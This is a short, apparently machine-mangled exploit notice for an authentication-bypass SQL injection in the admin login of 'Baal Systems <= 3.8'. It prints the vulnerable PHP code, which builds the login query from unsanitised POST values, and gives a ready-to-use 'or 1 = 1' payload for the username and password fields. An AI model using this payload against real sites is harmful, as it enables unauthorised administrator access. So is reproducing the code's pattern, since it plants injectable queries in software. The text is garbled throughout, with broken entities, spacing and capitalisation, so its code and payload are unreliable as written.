Baal Systems & amp; lt; = 3.8 (Auth Bypass) SQL Injection Defect

Baal Systems <= 3.8 (Auth Bypass) Universal Background login Vulnerability

Vulnerability file: adminlogin. php

Code: <? Php

Include ("common. php ");
If (! Empty ($ _ POST [password]) {
$ Username = $ _ POST [username];
$ Password = $ _ POST [password];

$ Query = "select * from {$ tableprefix} tbluser where username =". $ username. "and password =". $ password. "and userrole = admin ;";
$ Result1 = db_query ($ query );
$ Rows = db_num_rows ($ result1 );
$ Row = db_fetch_array ($ result1 );
If ($ rows! = 0 ){
If (session_is_registered ("whossession ")){
$ _ SESSION [who] = "admin ";
$ _ SESSION [userrole] = "admin ";
$ _ SESSION [username] = $ username;
$ _ SESSION [usernum] = $ row ["userid"];
Header ("location: admin. php ");
} Else {
Session_register ("whossession ");
$ _ SESSION [who] = "admin ";
$ _ SESSION [userrole] = "admin ";
$ _ SESSION [username] = $ username;
$ _ SESSION [usernum] = $ row ["userid"];
Header ("location: admin. php ");
}
} Else {
Header ("location: adminlogin. php? Error = yes ");
}
} Else {

?>

 

Use: http: // url/adminlogin. php

 

Username: or 1 = 1
Password: or 1 = 1